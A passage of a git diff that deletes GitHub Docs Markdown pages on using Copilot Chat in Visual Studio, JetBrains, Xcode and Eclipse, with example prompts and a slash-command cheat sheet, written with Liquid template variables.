[Reference](https://learn.microsoft.com/visualstudio/ide/copilot-chat-context#reference) in the {% data variables.product.prodname_vs %} documentation. - -## Using {% data variables.product.prodname_dotcom %} skills for {% data variables.product.prodname_copilot_short %} (preview) - -> [!NOTE] -> The `@github` chat participant is currently in preview, and only available in [{% data variables.product.prodname_vs %} 2022 Preview 2](https://visualstudio.microsoft.com/vs/preview/) onwards. - -{% data variables.product.prodname_copilot_short %}'s {% data variables.product.prodname_dotcom %}-specific skills expand the type of information {% data variables.product.prodname_copilot_short %} can provide. To access these skills in {% data variables.product.prodname_copilot_chat_short %} in {% data variables.product.prodname_vs %}, include `@github` in your question. - -When you add `@github` to a question, {% data variables.product.prodname_copilot_short %} dynamically selects an appropriate skill, based on the content of your question. You can also explicitly ask {% data variables.product.prodname_copilot_chat_short %} to use a particular skill. For example, `@github Search the web to find the latest GPT4 model from OpenAI.` - -You can generate a list of currently available skills by asking {% data variables.product.prodname_copilot_short %}: `@github What skills are available?` - -{% ifversion ghec %} - -## Asking a question about a knowledge base (preview) - -> [!NOTE] -> * This feature is only available if you have a {% data variables.product.prodname_copilot_enterprise_short %} subscription. -> * Support for knowledge bases is currently in preview, and only available in [{% data variables.product.prodname_vs %} 2022 Preview 3](https://visualstudio.microsoft.com/vs/preview/) onwards. - -Organization owners can create knowledge bases, grouping together Markdown documentation across one or more repositories. For more information, see [AUTOTITLE](/copilot/github-copilot-enterprise/managing-copilot-knowledge-bases). - -You can tell {% data variables.product.prodname_copilot_short %} to answer a question within the context of a knowledge base. - -1. At the bottom of the {% data variables.product.prodname_copilot_chat_short %} window, in the **Ask {% data variables.product.prodname_copilot_short %}: Type / for commands and # to reference** text box, type `@github`, press <kbd>#</kbd>, then select a knowledge base from the list. -1. In the **Type / for commands and # to reference** text box, continue your message with your question, and then press **Enter**. -1. {% data variables.product.prodname_copilot_chat_short %} will process your question and provide an answer, with citations from your knowledge base, in the chat window. - -{% endif %} - -## AI models for {% data variables.product.prodname_copilot_chat_short %} - -{% data reusables.copilot.change-the-ai-model %} - -## Additional ways to access {% data variables.product.prodname_copilot_chat_short %} - -In addition to submitting prompts through the chat window, you can submit prompts inline. To start an inline chat, right click in your editor window and select **Ask {% data variables.product.prodname_copilot_short %}**. - -See [Ask questions in the inline chat view](https://learn.microsoft.com/visualstudio/ide/visual-studio-github-copilot-chat#ask-questions-in-the-inline-chat-view) in the {% data variables.product.prodname_vs %} documentation for more details. - -## Vision - -> [!NOTE] Vision is currently in {% data variables.release-phases.public_preview %} and is subject to change. - -Vision requires that you use the GPT-4o model and upload one of the following file types: JPEG (`.jpg`, `.jpeg`), PNG (`.png`), GIF (`.gif`), or WEBP (`.webp`). - -You can attach images to your chat prompts to help {% data variables.product.prodname_copilot_short %} understand your question. For example, you can attach a screenshot of a code snippet to ask {% data variables.product.prodname_copilot_short %} to explain the code, or share mockups of new designs to ask {% data variables.product.prodname_copilot_short %} to generate code. - -You can drag and drop images into the chat window, or attach them through the {% data variables.product.prodname_vs %} UI. - -## Sharing feedback - -To share feedback about {% data variables.product.prodname_copilot_chat_short %}, you can use the **Send feedback** button in {% data variables.product.prodname_vs %}. For more information on providing feedback for {% data variables.product.prodname_vs %}, see the [{% data variables.product.prodname_vs %} Feedback](https://learn.microsoft.com/en-us/visualstudio/ide/how-to-report-a-problem-with-visual-studio?view=vs-2022) documentation. - -1. In the top right corner of the {% data variables.product.prodname_vs %} window, click the **Send feedback** button. - - ![Screenshot of the share feedback button in {% data variables.product.prodname_vs %}.](/assets/images/help/copilot/vs-share-feedback-button.png) - -1. Choose the option that best describes your feedback. - * To report a bug, click **Report a problem**. - * To request a feature, click **Suggest a feature**. - -## Further reading - -* [AUTOTITLE](/copilot/using-github-copilot/prompt-engineering-for-github-copilot) -* [Using {% data variables.product.prodname_copilot_chat %} in {% data variables.product.prodname_vs %} in the Microsoft Learn documentation](https://learn.microsoft.com/visualstudio/ide/visual-studio-github-copilot-chat?view=vs-2022#use-copilot-chat-in-visual-studio) -* [Tips to improve {% data variables.product.prodname_copilot_chat %} results in the Microsoft Learn documentation](https://learn.microsoft.com/en-us/visualstudio/ide/copilot-chat-context?view=vs-2022) -* [AUTOTITLE](/copilot/github-copilot-enterprise/copilot-chat-in-github/using-github-copilot-chat-in-githubcom) -* [AUTOTITLE](/copilot/github-copilot-chat/about-github-copilot-chat) -* [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot) -* [{% data variables.product.prodname_copilot %} Trust Center](https://resources.github.com/copilot-trust-center) -* [{% data variables.product.prodname_copilot %} FAQ](https://github.com/features/copilot#faq) - -{% endvisualstudio %} - -{% jetbrains %} - -## Prerequisites - -* **Access to {% data variables.product.prodname_copilot %}**. See [AUTOTITLE](/copilot/about-github-copilot/what-is-github-copilot#getting-access-to-copilot). -* **A compatible JetBrains IDE**. {% data variables.product.prodname_copilot %} is compatible with the following IDEs: - - {% data reusables.copilot.jetbrains-compatible-ides %} -{% data reusables.copilot.jetbrains-plugin-prerequisites %} - -{% data reusables.copilot.chat-access-denied %} - -## Submitting prompts - -You can ask {% data variables.product.prodname_copilot_chat_short %} to give you code suggestions, explain code, generate unit tests, and suggest code fixes. - -1. Open the {% data variables.product.prodname_copilot_chat_short %} window by clicking the **{% data variables.product.prodname_copilot_chat %}** icon at the right side of the JetBrains IDE window. - - ![Screenshot of the {% data variables.product.prodname_copilot_chat %} icon in the Activity Bar.](/assets/images/help/copilot/jetbrains-copilot-chat-icon.png) - -1. Enter a prompt in the prompt box. For example prompts, see [AUTOTITLE](/copilot/using-github-copilot/guides-on-using-github-copilot/getting-started-with-prompts-for-copilot-chat). - -1. Evaluate {% data variables.product.prodname_copilot_short %}'s response, and submit a follow up prompt if needed. - - The response often includes interactive elements. For example, the response may include buttons to copy or insert a code block. - - To see the files that {% data variables.product.prodname_copilot_chat_short %} used to generate the response, select the **References** dropdown below the response. - -## Using keywords in your prompt - -You can use special keywords to help {% data variables.product.prodname_copilot_short %} understand your prompt. - -### Chat participants - -Chat participants are like domain experts who have a specialty that they can help you with. You can use a chat participant to scope your prompt to a specific domain. To do this, type `@` in the chat prompt box, followed by a chat participant name. - -For a list of available chat participants, type `@` in the chat prompt box. See also [AUTOTITLE](/copilot/using-github-copilot/github-copilot-chat-cheat-sheet?tool=jetbrains#chat-participants-1). - -### Extending {% data variables.product.prodname_copilot_chat_short %} - -{% data reusables.copilot.copilot-extensions.extending-copilot-chat %} - -### Slash commands - -Use slash commands to avoid writing complex prompts for common scenarios. To use a slash command, type `/` in the chat prompt box, followed by a command. - -To see all available slash commands, type `/` in the chat prompt box. See also [AUTOTITLE](/copilot/using-github-copilot/github-copilot-chat-cheat-sheet?tool=jetbrains#slash-commands-2). - -### File references - -By default, {% data variables.product.prodname_copilot_chat_short %} will reference the file that you have open or the code that you have selected. You can also tell {% data variables.product.prodname_copilot_chat_short %} which files to reference by dragging a file into the chat prompt box. Alternatively, you can right click on a file, select **GitHub Copilot**, then select **Reference File in Chat**. - -## Using {% data variables.product.prodname_dotcom %} skills for {% data variables.product.prodname_copilot_short %} - -{% data reusables.copilot.using-skills %} - -## AI models for {% data variables.product.prodname_copilot_chat_short %} - -{% data reusables.copilot.change-the-ai-model %} - -## Additional ways to access {% data variables.product.prodname_copilot_chat_short %} - -* **Built-in requests**. In addition to submitting prompts through the chat window, you can submit built-in requests by right clicking in a file, selecting **{% data variables.product.prodname_copilot %}**, then selecting one of the options. -* **Inline**. You can submit a chat prompt inline, and scope it to a highlighted code block or your current file. - * To start an inline chat, right click on a code block or anywhere in your current file, hover over **{% data variables.product.prodname_copilot %}**, then select **{% octicon "plus" aria-hidden="true" %} {% data variables.product.prodname_copilot_short %}: Inline Chat**, or enter <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>I</kbd>. - -## {% data variables.product.prodname_copilot_edits_short %} - -{% data reusables.copilot.copilot-edits.about-copilot-edits-jetbrains %} - -### Using edit mode - -1. To start an edit session, click **{% octicon "copilot" aria-hidden="true" %} {% data variables.product.prodname_copilot_short %}** in the menu bar, then select **Open {% data variables.product.prodname_copilot_chat %}**. -1. At the top of the chat panel, click **{% data variables.product.prodname_copilot_edits_short %}**. -1. Add relevant files to the _working set_ to indicate to {% data variables.product.prodname_copilot %} which files you want to work on. You can add all open files by clicking **Add all open files** or individually search for single files. -1. Submit a prompt. In response to your prompt, {% data variables.product.prodname_copilot_edits_short %} determines which files in your _working set_ to change and adds a short description of the change. -1. Review the changes and **Accept** or **Discard** the edits for each file. - -## Sharing feedback - -To share feedback about {% data variables.product.prodname_copilot_chat_short %}, you can use the **share feedback** link in JetBrains. - -1. At the right side of the JetBrains IDE window, click the **{% data variables.product.prodname_copilot_chat_short %}** icon to open the {% data variables.product.prodname_copilot_chat_short %} window. - - ![Screenshot of the {% data variables.product.prodname_copilot_chat_short %} icon in the Activity Bar.](/assets/images/help/copilot/jetbrains-copilot-chat-icon.png) - -1. At the top of the {% data variables.product.prodname_copilot_chat_short %} window, click the **share feedback** link. - - ![Screenshot of the share feedback link in the {% data variables.product.prodname_copilot_chat_short %} window.](/assets/images/help/copilot/jetbrains-share-feedback.png) - -## Further reading - -* [AUTOTITLE](/copilot/using-github-copilot/prompt-engineering-for-github-copilot) -* [AUTOTITLE](/copilot/github-copilot-enterprise/copilot-chat-in-github/using-github-copilot-chat-in-githubcom) -* [AUTOTITLE](/copilot/github-copilot-chat/about-github-copilot-chat) -* [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-copilot-pre-release-terms) -* [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot) -* [{% data variables.product.prodname_copilot %} Trust Center](https://resources.github.com/copilot-trust-center) -* [{% data variables.product.prodname_copilot %} FAQ](https://github.com/features/copilot#faq) - -{% endjetbrains %} - -{% xcode %} - -## Prerequisites - -To use {% data variables.product.prodname_copilot %} for Xcode, you must install the {% data variables.product.prodname_copilot %} for Xcode extension. See [AUTOTITLE](/copilot/configuring-github-copilot/installing-the-github-copilot-extension-in-your-environment). - -{% data reusables.copilot.chat-access-denied %} - -## Submitting prompts - -You can ask {% data variables.product.prodname_copilot_chat_short %} to give you code suggestions, explain code, generate unit tests, and suggest code fixes. - -1. To open the chat view, click **{% octicon "copilot" aria-hidden="true" %} {% data variables.product.prodname_copilot_short %}** in the menu bar, then click **Open Chat**. - -1. Enter a prompt in the prompt box. For example prompts, see [AUTOTITLE](/copilot/using-github-copilot/guides-on-using-github-copilot/getting-started-with-prompts-for-copilot-chat). - -1. Evaluate {% data variables.product.prodname_copilot_short %}'s response, and submit a follow up prompt if needed. - - The response often includes interactive elements. For example, the response may include buttons to copy or insert a code block. - -## AI models for {% data variables.product.prodname_copilot_chat_short %} - -{% data reusables.copilot.change-the-ai-model %} - -## Using keywords in your prompt - -You can use special keywords to help {% data variables.product.prodname_copilot_short %} understand your prompt. - -### Slash commands - -Use slash commands to avoid writing complex prompts for common scenarios. To use a slash command, type `/` in the chat prompt box, followed by a command. - -To see all available slash commands, type `/` in the chat prompt box. For more information, see [AUTOTITLE](/copilot/using-github-copilot/github-copilot-chat-cheat-sheet?tool=xcode#slash-commands). - -## File references - -By default, {% data variables.product.prodname_copilot_chat_short %} will reference the file that you have open or the code that you have selected. To attach a specific file as reference, click {% octicon "paperclip" aria-label="Add attachments" %} in the chat prompt box. - -## Chat management - -You can open a conversation thread for each Xcode IDE to keep discussions organized across different contexts. You can also revisit previous conversations and reference past suggestions through the chat history. - -## Sharing feedback - -To indicate whether a response was helpful, use {% octicon "thumbsup" aria-label="Thumbs up" %} or {% octicon "thumbsdown" aria-label="Thumbs down" %} that appear next to the response. - -## Further reading - -* [AUTOTITLE](/copilot/using-github-copilot/prompt-engineering-for-github-copilot) -* [AUTOTITLE](/copilot/github-copilot-enterprise/copilot-chat-in-github/using-github-copilot-chat-in-githubcom) -* [AUTOTITLE](/copilot/github-copilot-chat/about-github-copilot-chat) -* [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-copilot-pre-release-terms) -* [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot) -* [{% data variables.product.prodname_copilot %} Trust Center](https://resources.github.com/copilot-trust-center) -* [{% data variables.product.prodname_copilot %} FAQ](https://github.com/features/copilot#faq) - -{% endxcode %} - -{% eclipse %} - -{% data reusables.copilot.eclipse-public-preview-note %} - -## Prerequisites - -{% data reusables.copilot.eclipse-prerequisites %} -* **Latest version of the {% data variables.product.prodname_copilot %} extension**. Download this from the [Eclipse Marketplace](https://aka.ms/copiloteclipse). For more information, see [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/installing-the-github-copilot-extension-in-your-environment?tool=eclipse). -* **Sign in to {% data variables.product.company_short %} from Eclipse**. - -{% data reusables.copilot.chat-access-denied %} - -## Submitting prompts - -You can ask {% data variables.product.prodname_copilot_chat_short %} to give you code suggestions, explain code, generate unit tests, and suggest code fixes. - -1. To open the {% data variables.product.prodname_copilot_chat_short %} panel, click the {% data variables.product.prodname_copilot_short %} icon ({% octicon "copilot" aria-hidden="true" %}) in the status bar at the bottom of Eclipse, then click **Open Chat**. - -1. Enter a prompt in the prompt box, then press <kbd>Enter</kbd>. - - For an introduction to the kinds of prompts you can use, see [AUTOTITLE](/copilot/using-github-copilot/guides-on-using-github-copilot/getting-started-with-prompts-for-copilot-chat). - -1. Evaluate {% data variables.product.prodname_copilot_short %}'s response, and make a follow up request if needed. - -## Using keywords in your prompt - -You can use special keywords to help {% data variables.product.prodname_copilot_short %} understand your prompt. For examples, see [AUTOTITLE](/copilot/using-github-copilot/guides-on-using-github-copilot/getting-started-with-prompts-for-copilot-chat). - -### Slash commands - -Use slash commands to avoid writing complex prompts for common scenarios. To use a slash command, type `/` in the chat prompt box, followed by a command. For example, use `/explain` to ask {% data variables.product.prodname_copilot_short %} to explain the code in the file currently displayed in the editor. - -To see all available slash commands, type `/` in the chat prompt box. - -## AI models for {% data variables.product.prodname_copilot_chat_short %} - -{% data reusables.copilot.change-the-ai-model %} - -## Further reading - -* [AUTOTITLE](/copilot/using-github-copilot/prompt-engineering-for-github-copilot) -* [AUTOTITLE](/copilot/github-copilot-enterprise/copilot-chat-in-github/using-github-copilot-chat-in-githubcom) -* [AUTOTITLE](/copilot/github-copilot-chat/about-github-copilot-chat) -* [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot) -* [{% data variables.product.prodname_copilot %} Trust Center](https://resources.github.com/copilot-trust-center) -* [{% data variables.product.prodname_copilot %} FAQ](https://github.com/features/copilot#faq) - -{% endeclipse %} diff --git a/content/copilot/using-github-copilot/copilot-chat/getting-started-with-prompts-for-copilot-chat.md b/content/copilot/using-github-copilot/copilot-chat/getting-started-with-prompts-for-copilot-chat.md deleted file mode 100644 index 07c88f8b7270..000000000000 --- a/content/copilot/using-github-copilot/copilot-chat/getting-started-with-prompts-for-copilot-chat.md +++ /dev/null @@ -1,398 +0,0 @@ ---- -title: Getting started with prompts for Copilot Chat -intro: 'Get an overview of ways to use {% data variables.product.prodname_copilot_chat_short %}.' -topics: - - Copilot -defaultTool: vscode -versions: - feature: copilot -redirect_from: - - /copilot/using-github-copilot/example-use-cases/example-prompts-for-copilot-chat - - /copilot/using-github-copilot/guides-on-using-github-copilot/getting-started-with-prompts-for-copilot-chat -shortTitle: Getting started with chat ---- - -You can ask {% data variables.product.prodname_copilot_chat_short %} specific questions about your project or general software questions. You can also ask {% data variables.product.prodname_copilot_chat_short %} to write code, fix errors, write tests, and document code. - -Use the tabs above to select the environment where you are using {% data variables.product.prodname_copilot_chat_short %}. - -{% vscode %} - -Some of the following example prompts use chat participants (preceded by `@`), slash commands (preceded by `/`), or chat variables (preceded by `#`). For more information on keywords in prompts, see [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-your-ide#using-keywords-in-your-prompt). - -## Ask general software questions - -You can ask {% data variables.product.prodname_copilot_chat_short %} general software questions. For example: - -* `tell me about nodejs web server frameworks` -* `how can I create an Express app` -* `@terminal how to update an npm package` - -## Ask questions about your project - -You can ask {% data variables.product.prodname_copilot_chat_short %} questions about your project. - -* `what sorting algorithm does this function use` -* `@workspace how are notifications scheduled` -* `#file:gameReducer.js #file:gameInit.js how are these files related` - -To give {% data variables.product.prodname_copilot_short %} the correct context, try some of these strategies: - -* Highlight relevant lines of code. -* Use chat variables like `#selection`, `#file`, `#editor`, `#codebase`, or `#git`. -* Use the `@workspace` chat participant. - -## Write code - -You can ask {% data variables.product.prodname_copilot_short %} to write code for you. For example: - -* `write a function to sum all numbers in a list` -* `add error handling to this function` -* `@workspace add form validation, similar to the newsletter page` - -When {% data variables.product.prodname_copilot_short %} returns a code block, the response includes options to copy the code, or to insert the code at your cursor, into a new file, or into the terminal. - -## Ask questions about alerts from {% data variables.product.prodname_GHAS %} features - -You can ask {% data variables.product.prodname_copilot_short %} about security alerts in repositories in your organization from {% data variables.product.prodname_GHAS %} features ({% data variables.product.prodname_code_scanning %}, {% data variables.product.prodname_secret_scanning %}, and {% data variables.product.prodname_dependabot_alerts %}). For example: - -* `How would I fix this alert?` -* `How many alerts do I have on this pull request?` -* `Which line of code is this {% data variables.product.prodname_code_scanning %} alert referencing?` -* `What library is affected by this {% data variables.product.prodname_dependabot %} alert?` - -## Set up a new project - -Use the `/new` slash command to set up a new project. For example: - -* `/new react app with typescript` -* `/new python django web application` -* `/new node.js express server` - -Copilot will suggest a directory structure and provide a button to create the suggested files and contents. To preview a suggested file, select the file name in the suggested directory structure. - -Use the `/newNotebook` slash command to set up a new Jupyter notebook. For example: - -* `/newNotebook retrieve the titanic dataset and use Seaborn to plot the data` - -## Fix, improve, and refactor code - -If your active file contains an error, use the `/fix` slash command to ask {% data variables.product.prodname_copilot_short %} to fix the error. - -You can also make general requests to improve or refactor your code. - -* `how would you improve this code?` -* `translate this code to C#` -* `add error handling to this function` - -## Write tests - -Use the `/tests` slash command to ask {% data variables.product.prodname_copilot_short %} to write tests for the active file or selected code. For example: - -* `/tests` -* `/tests using the Jest framework` -* `/tests ensure the function rejects an empty list` - -The `/tests` slash command writes tests for existing code. If you prefer to write tests before writing code (test driven development), omit the `/tests` command. For example: - -* `Add tests for a JavaScript function that should sum a list of integers` - -## Ask questions about {% data variables.product.prodname_vscode %} - -Use the `@vscode` chat participant to ask specific questions about {% data variables.product.prodname_vscode %}. For example: - -* `@vscode tell me how to debug a node.js app` -* `@vscode how do I change my {% data variables.product.prodname_vscode %} colors` -* `@vscode how can I change key bindings` - -## Ask questions about the command line - -Use the `@terminal` chat participant to ask specific questions about the command line. For example: - -* `@terminal find the largest file in the src directory` -* `@terminal #terminalLastCommand` to explain the last command and any errors - -{% endvscode %} - -{% visualstudio %} - -## Ask general software questions - -You can ask {% data variables.product.prodname_copilot_chat_short %} general software questions. For example: - -* `tell me about nodejs web server frameworks` -* `how can I create an Express app` -* `what's the process for updating an npm package` - -## Ask questions about your project - -You can ask {% data variables.product.prodname_copilot_chat_short %} questions about your project. To give {% data variables.product.prodname_copilot_short %} the correct context, try some of these strategies: - -* Highlight relevant lines of code. -* Open the relevant file. -* Use `#file` to tell {% data variables.product.prodname_copilot_short %} to reference specific files. -* Use `#solution` to tell {% data variables.product.prodname_copilot_short %} to reference the active file. - -For example: - -* `what sorting algorithm does this function use` -* `#file:gameReducer.js what happens when a new game is requested` - -## Write code - -You can ask {% data variables.product.prodname_copilot_short %} to write code for you. For example: - -* `write a function to sum all numbers in a list` -* `add error handling to this function` - -When {% data variables.product.prodname_copilot_short %} returns a code block, the response includes options to copy the code, insert the code into a new file, or preview the code output. - -## Ask questions about alerts from {% data variables.product.prodname_GHAS %} features - -You can ask {% data variables.product.prodname_copilot_short %} about security alerts in repositories in your organization from {% data variables.product.prodname_GHAS %} features ({% data variables.product.prodname_code_scanning %}, {% data variables.product.prodname_secret_scanning %}, and {% data variables.product.prodname_dependabot_alerts %}). For example: - -* `How would I fix this alert?` -* `How many alerts do I have on this pull request?` -* `Which line of code is this {% data variables.product.prodname_code_scanning %} alert referencing?` -* `What library is affected by this {% data variables.product.prodname_dependabot %} alert?` - -## Fix, improve, and refactor code - -If your active file contains an error, use the `/fix` slash command to ask {% data variables.product.prodname_copilot_short %} to fix the error. - -You can also make general requests to improve or refactor your code. - -* `how would you improve this code?` -* `translate this code to C#` -* `add error handling to this function` - -## Write tests - -Use the `/tests` slash command to ask {% data variables.product.prodname_copilot_short %} to write tests for the active file or selected code. For example: - -* `/tests` -* `/tests using the Jest framework` -* `/tests ensure the function rejects an empty list` - -The `/tests` slash command writes tests for existing code. If you prefer to write tests before writing code (test driven development), omit the `/tests` command. For example: - -* `Add tests for a JavaScript function that should sum a list of integers` - -{% endvisualstudio %} - -{% jetbrains %} - -## Ask general software questions - -You can ask {% data variables.product.prodname_copilot_chat_short %} general software questions. For example: - -* `tell me about nodejs web server frameworks` -* `how can I create an Express app` -* `what's the process for updating an npm package` - -## Ask questions about your project - -You can ask {% data variables.product.prodname_copilot_chat_short %} questions about your project. To give {% data variables.product.prodname_copilot_short %} the correct context, try some of these strategies: - -* Highlight relevant lines of code. -* Open the relevant file. -* Add the file as a reference. For information about how to use file references, see [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-your-ide?tool=jetbrains#file-references). -* Use the `@project` chat participant. - -For example: - -* `what sorting algorithm does this function use` -* `how are these files related` (with references to the files in question) -* `@project how are notifications scheduled` - -## Write code - -You can ask {% data variables.product.prodname_copilot_short %} to write code for you. For example: - -* `write a function to sum all numbers in a list` -* `add error handling to this function` - -When {% data variables.product.prodname_copilot_short %} returns a code block, the response includes options to copy the code or to insert the code at your cursor. - -## Fix, improve, and refactor code - -If your active file contains an error, use the `/fix` slash command to ask {% data variables.product.prodname_copilot_short %} to fix the error. - -You can also make general requests to improve or refactor your code. - -* `how would you improve this code?` -* `translate this code to C#` -* `add error handling to this function` - -## Write tests - -Use the `/tests` slash command to ask {% data variables.product.prodname_copilot_short %} to write tests for the active file or selected code. For example: - -* `/tests` -* `/tests using the Jest framework` -* `/tests ensure the function rejects an empty list` - -The `/tests` slash command writes tests for existing code. If you prefer to write tests before writing code (test driven development), omit the `/tests` command. For example: - -* `Add tests for a JavaScript function that should sum a list of integers` - -{% endjetbrains %} - -{% webui %} - -Some of the example prompts require you to be in a specific context on the {% data variables.product.github %} website. For more information on how to access those contexts, see [Asking {% data variables.product.prodname_copilot_chat_short %} questions in different contexts](/copilot/using-github-copilot/asking-github-copilot-questions-in-github#asking-copilot-chat-questions-in-different-contexts). - -## Ask general software questions - -You can ask {% data variables.product.prodname_copilot_chat_short %} general software questions. For example: - -* `tell me about nodejs web server frameworks` -* `how can I create an Express app` -* `what is the best way to update an npm package` - -## Ask questions about a repository - -You can ask {% data variables.product.prodname_copilot_chat_short %} questions about a repository. For example: - -* `what is the purpose of this repository?` -* `When was the most recent release?` -* `Where is rate limiting implemented in our API?` -* `What was the last merged PR by USERNAME` - -## Ask questions about a specific file or symbol - -You can ask {% data variables.product.prodname_copilot_chat_short %} questions about a specific file or symbol. For example: - -* `what sorting algorithm does this function use` -* `how are these files related` -* `what is the purpose of this function` - -## Ask questions about a knowledge base - -You can ask {% data variables.product.prodname_copilot_chat_short %} questions about a knowledge base. For example: - -* `How do I deploy a new application?` -* `What's the process for creating a new REST API?` -* `What are our best practices for logging?` - -## Ask questions about a specific piece of code - -You can ask {% data variables.product.prodname_copilot_chat_short %} questions about a specific piece of code. You might ask a question about a whole file, or a specific line. For example: - -If you are asking about a whole file, you could enter: - -* `Explain this file.` -* `How could I improve this code?` -* `How can I test this script?` - -If you are asking about specific lines, you could enter: -* `Explain the function at the selected lines.` -* `How could I improve this class?` -* `Add error handling to this code.` -* `Write a unit test for this method.` - -## Ask questions about alerts from {% data variables.product.prodname_GHAS %} products - -You can ask {% data variables.product.prodname_copilot_chat_short %} questions about security alerts in repositories in your organization from {% data variables.product.prodname_GHAS %} features ({% data variables.product.prodname_code_scanning %}, {% data variables.product.prodname_secret_scanning %}, and {% data variables.product.prodname_dependabot_alerts %}). For example: - -* `How would I fix this alert?` -* `How many alerts do I have on this pull request?` -* `Which line of code is this {% data variables.product.prodname_code_scanning %} alert referencing?` -* `What library is affected by this {% data variables.product.prodname_dependabot %} alert?` - -## Ask {% data variables.product.prodname_copilot_chat_short %} questions in a pull request - -You can ask {% data variables.product.prodname_copilot_chat_short %} questions in a pull request. Your question could relate to various elements of the pull request For example: - -You might ask for a summary of the changes in the pull request: - -* `Summarize this PR for me.` -* `Summarize the comments in this PR.` -* `Summarize the changes in this PR.` - -You might ask about the changes in a specific file in the pull request: - -* `What's the purpose of this file?` -* `Why has this module been included?` - -You might ask about the changes in a specific line in the pull request: - -* `What is "actorData" in this line?` -* `Explain this "do..end" block.` - -You might ask why a workflow failed: - -* `Tell me why this job failed` -* `Suggest a fix for this error` - -## Ask {% data variables.product.prodname_copilot_chat_short %} questions about a specific issue or discussion - -You can ask {% data variables.product.prodname_copilot_chat_short %} questions about a specific issue or discussion. For example: - -* `what is the purpose of this issue?` - -## Ask {% data variables.product.prodname_copilot_chat_short %} questions about a specific commit - -You can ask {% data variables.product.prodname_copilot_chat_short %} questions about a specific commit. For example: - -* `what is the purpose of this commit?` -* `what is the expected output of this commit?` -* `what is the best way to test this commit?` - -{% endwebui %} - -{% eclipse %} - -## Ask general software questions - -You can ask {% data variables.product.prodname_copilot_chat_short %} general software questions. For example: - -* `tell me about nodejs web server frameworks` -* `how can I create an Express app` -* `what's the process for updating an npm package` - -## Ask questions about files your project - -You can ask {% data variables.product.prodname_copilot_chat_short %} questions about the file that's currently displayed in the editor, or about files you have attached to your conversation in the {% data variables.product.prodname_copilot_chat_short %} panel. To give {% data variables.product.prodname_copilot_short %} the correct context: - -* Open the relevant file in the editor. -* Click the paperclip icon in the {% data variables.product.prodname_copilot_chat_short %} panel, then search for and select files you want to attach to the conversation. - -For example: - -* `how can I make this file run faster` -* `how are these files related` (with two or more attached files) -* `explain the getSearchReplaceRules function` - -## Write code - -You can ask {% data variables.product.prodname_copilot_short %} to write code for you. For example: - -* `write a TypeScript function to sum all numbers in a list` -* `using the comments in this file, create appropriate Node JavaScript` - -When {% data variables.product.prodname_copilot_short %} returns a code block, the response includes options to copy the code. - -## Fix, improve, and refactor code - -If your active file contains an error, use the `/fix` slash command to ask {% data variables.product.prodname_copilot_short %} to fix the error. - -You can also make general requests to improve or refactor your code. - -* `how would you improve the code in this file` -* `translate this code to C#` -* `add error handling to the main function` - -## Write tests - -Use the `/tests` slash command to ask {% data variables.product.prodname_copilot_short %} to write tests for the active file or selected code. For example: - -* `/tests` -* `/tests using the Jest framework` -* `/tests ensure the function rejects an empty list` - -The `/tests` slash command writes tests for existing code. If you prefer to write tests before writing code (test driven development), omit the `/tests` command. For example: - -* `Add tests for a JavaScript function that should sum a list of integers` - -{% endeclipse %} diff --git a/content/copilot/using-github-copilot/copilot-chat/github-copilot-chat-cheat-sheet.md b/content/copilot/using-github-copilot/copilot-chat/github-copilot-chat-cheat-sheet.md deleted file mode 100644 index 8c017f176980..000000000000 --- a/content/copilot/using-github-copilot/copilot-chat/github-copilot-chat-cheat-sheet.md +++ /dev/null @@ -1,185 +0,0 @@ ---- -title: GitHub Copilot Chat cheat sheet -shortTitle: Copilot Chat cheat sheet -intro: "Use this cheat sheet to quickly reference the most common commands and options for using {% data variables.product.prodname_copilot_chat %}." -versions: - feature: copilot -topics: - - Copilot -redirect_from: - - /copilot/using-github-copilot/github-copilot-chat-cheat-sheet ---- - -{% webui %} - -This version of this article is for {% data variables.product.prodname_copilot_short %} on the {% data variables.product.github %} website. For other versions of this article, click the tabs above. - -{% data reusables.copilot.about-copilot-enhancements %} - -For information about how to get started with {% data variables.product.prodname_copilot_chat_short %} in the {% data variables.product.github %} website, see [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-github). - -## Slash commands - -Use slash commands to avoid writing complex prompts for common scenarios. To use a slash command, type `/` in the chat prompt box, followed by the command name. - -Available slash commands may vary, depending on your environment and the context of your chat. To view a list of currently available slash commands, type `/` in the chat prompt box of your current environment. Below is a list of some of the most common slash commands for using {% data variables.product.prodname_copilot_chat_short %}. - -| Command | Description | -| --- | --- | -| `/clear` | Clear conversation. | -| `/delete` | Delete a conversation. | -| `/new` | Start a new conversation | -| `/rename` | Rename a conversation. | - -{% endwebui %} - -{% vscode %} - -This version of this article is for {% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_vscode %}. For other versions of this article, click the tabs above. - -{% data reusables.copilot.about-copilot-enhancements %} - -For information about how to get started with {% data variables.product.prodname_copilot_chat_short %} in {% data variables.product.prodname_vscode %}, see [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-your-ide). - -## Slash commands - -Use slash commands to avoid writing complex prompts for common scenarios. To use a slash command, type `/` in the chat prompt box, followed by the command name. - -Available slash commands may vary, depending on your environment and the context of your chat. To view a list of currently available slash commands, type `/` in the chat prompt box of your current environment. Below is a list of some of the most common slash commands for using {% data variables.product.prodname_copilot_chat_short %}. - -| Command | Description | -| --- | --- | -| `/clear` | Start a new chat session. | -| `/explain` | Explain how the code in your active editor works. | -| `/fix` | Propose a fix for problems in the selected code. | -| `/fixTestFailure` | Find and fix a failing test. | -| `/help` | Quick reference and basics of using {% data variables.product.prodname_copilot %}. | -| `/new` | Create a new project. | -| `/tests` | Generate unit tests for the selected code. | - -## Chat variables - -Use chat variables to include specific context in your prompt. To use a chat variable, type `#` in the chat prompt box, followed by a chat variable. - -| Variable | Description | -| --- | --- | -| `#block` | Includes the current block of code in the prompt. | -| 